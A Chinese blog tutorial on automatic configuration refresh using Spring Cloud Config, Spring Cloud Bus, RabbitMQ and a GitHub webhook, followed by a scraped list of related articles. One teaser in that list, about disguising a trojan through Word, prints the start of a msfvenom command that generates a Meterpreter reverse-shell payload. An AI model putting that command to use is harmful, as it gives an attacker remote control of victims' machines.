spring cloud config 结合 spring cloud bus实现配置自定的刷新
在线上环境中,有时候我们希望系统中的某些配置参数在修改后,可以立即生效而不用重新启动服务。由上一节我们知道,我们可以把配置文件统一放到配置服务中进行管理,这一节我们在配置中心中整合spring cloud bus并结合git 的webhook实现配置的自动刷新。
整合spring cloud bus后我们可以获取到一些新的端点:
POST /bus/refresh: 用于刷新配置
POST /bus/refresh?destination=spring.application.name:port 刷新具体的某个微服务,port和前面的name可以使用通配符 *
需求
实现系统中的配置的自动刷新
实现步骤(在上一节代码的基础上)
1、安装 erlang 和 rabbitmq, 需要注意 rabbitmq不同的版本需要不同的erlang的版本,参考链接 https://www.rabbitmq.com/which-erlang.html
2、config server 和 config client 端同时引入以下依赖
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-bus-amqp</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
3、需要动态刷新配置的地方加上 @RefreshScope 注解
此处是从配置中心获取 msg 这个字段的值,记住这个controller 的访问路径,下方演示需要用到
@RestController
@RefreshScope
public class PrintMsgController {
@Value("${msg}")
private String msg;
/**
* 打印msg消息
*
* @return
*/
@GetMapping("print/msg")
public String print() {
return msg;
}
}
4、找到 git 的远程仓库,配置 webhook,这里以 github为例
5、配置中心和配置客户端的代码 配置文件和上节差不多,唯一不同的是加入了 rabittmq 的配置
spring:
rabbitmq:
host: localhost
port: 5672
username: guest
password: guest
运行结果
解释:
1、演示 config server 的代码
2、演示 config client 的代码
3、服务注册中心上各个服务注册的情况
4、演示 webhook的配置(webhook配置的地址需要是外网可以访问的,我上方的例子是使用了一个内网穿透工具)
5、更新 git 仓库上的配置,看各个客户端是否都更新
6、取消webhook,然后开效果
7、在 chrome 浏览器中演示如何只更新某个具体的微服务或使用通配符更新
完整代码
配置动态刷新完整代码:https://gitee.com/huan1993/spring-cloud-parent/tree/master/config/config-bus-webhook
spring cloud config 结合 spring cloud bus实现配置自定的刷新的更多相关文章
- Spring Cloud Config整合Spring Cloud Kubernetes,在k8s上管理配置
1 前言 欢迎访问南瓜慢说 www.pkslow.com获取更多精彩文章! Kubernetes有专门的ConfigMap和Secret来管理配置,但它也有一些局限性,所以还是希望通过Spring C ...
- Spring Cloud官方文档中文版-Spring Cloud Config(下)-客户端等
官方文档地址为:http://cloud.spring.io/spring-cloud-static/Dalston.SR2/#_serving_alternative_formats 文中例子我做了 ...
- .NET Core微服务之基于Steeltoe使用Spring Cloud Config统一管理配置
Tip: 此篇已加入.NET Core微服务基础系列文章索引 => Steeltoe目录快速导航: 1. 基于Steeltoe使用Spring Cloud Eureka 2. 基于Steelt ...
- spring cloud config客户端
上篇介绍了spring cloud config服务器,本篇介绍客户端.客户端主要是从config服务器获取配置信息. 代码示例 首先创建一个Maven项目,在pom.xml文件中添加依赖: < ...
- Spring Cloud Config中文文档
https://springcloud.cc/spring-cloud-config.html 目录 快速开始 客户端使用 Spring Cloud Config服务器 环境库 健康指标 安全 加密和 ...
- Spring Cloud搭建手册(2)——Spring Cloud Config
※在Dalston.SR2版本以后,均不能正常加密,如果必须使用此功能,需要降级到SR1或Camden SR7. 1.首先需要创建一个config-server工程,作为配置中心的服务器,用来与git ...
- spring cloud config 详解
Spring Cloud 为开发人员提供了一系列的工具来快速构建分布式系统的通用模型 .例如:配置管理.服务发现.断路由.智能路由.微代理.控制总线.一次性Token.全局锁.决策竞选.分布式sess ...
- Spring Cloud Config 实现配置中心,看这一篇就够了
Spring Cloud Config 是 Spring Cloud 家族中最早的配置中心,虽然后来又发布了 Consul 可以代替配置中心功能,但是 Config 依然适用于 Spring Clou ...
- SpringCloud学习笔记(7):使用Spring Cloud Config配置中心
简介 Spring Cloud Config为分布式系统中的外部化配置提供了服务器端和客户端支持,服务器端统一管理所有配置文件,客户端在启动时从服务端获取配置信息.服务器端有多种配置方式,如将配置文件 ...
随机推荐
- 初学AOP小结
Spring AOP理解 参考链接 AOP简介 AOP(面向切面编程),可以说时OOP的补充,使用OOP时,我们在日常编写代码的时候,一旦牵涉到大型一点的项目,项目不可或缺的事务处理,安全处理,验证处 ...
- 不写注释的程序员-Models
Models 不写注释的程序员-Models # This is an auto-generated Django model module. # You'll have to do the foll ...
- 判断input radio选中那个
var _sex=$("input[name='sex']:checked").val(); if(_sex==null){ layer.msg("请选择性别" ...
- 判断IE浏览器版本
//判断IE浏览器版本 function IEVersion() { var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 var isI ...
- Powershell配合word伪装木马执行
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...
- Windows Server 2022 OVF(SLIC 2.6)
请访问原文链接:https://sysin.org/blog/windows-server-2022-ovf/,查看最新版.原创作品,转载请保留出处. 作者:gc(at)sysin.org,主页:ww ...
- Spring Native实战(畅快体验79毫秒启动springboot应用)
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- 学习PHP中的国际化日期格式化操作
对于国际化功能来说,日期相关的格式化操作也是一块重头戏,毕竟不同的时区,不同的国家对于日期的表示方式都会有些不同.今天我们主要来学习的就是国际化地表示日期相关的信息内容. 日期格式化 首先就是最直接的 ...
- [转载]提升SQLite数据插入效率低、速度慢的方法
转载地址:http://blog.csdn.net/chenguanzhou123/article/details/9376537#,如果有侵犯原创,请留言告知,本人会及时删除. 前言 SQLite数 ...
- a标签刷新当前页面
<a href="javascript:location.reload();">刷新页面</a>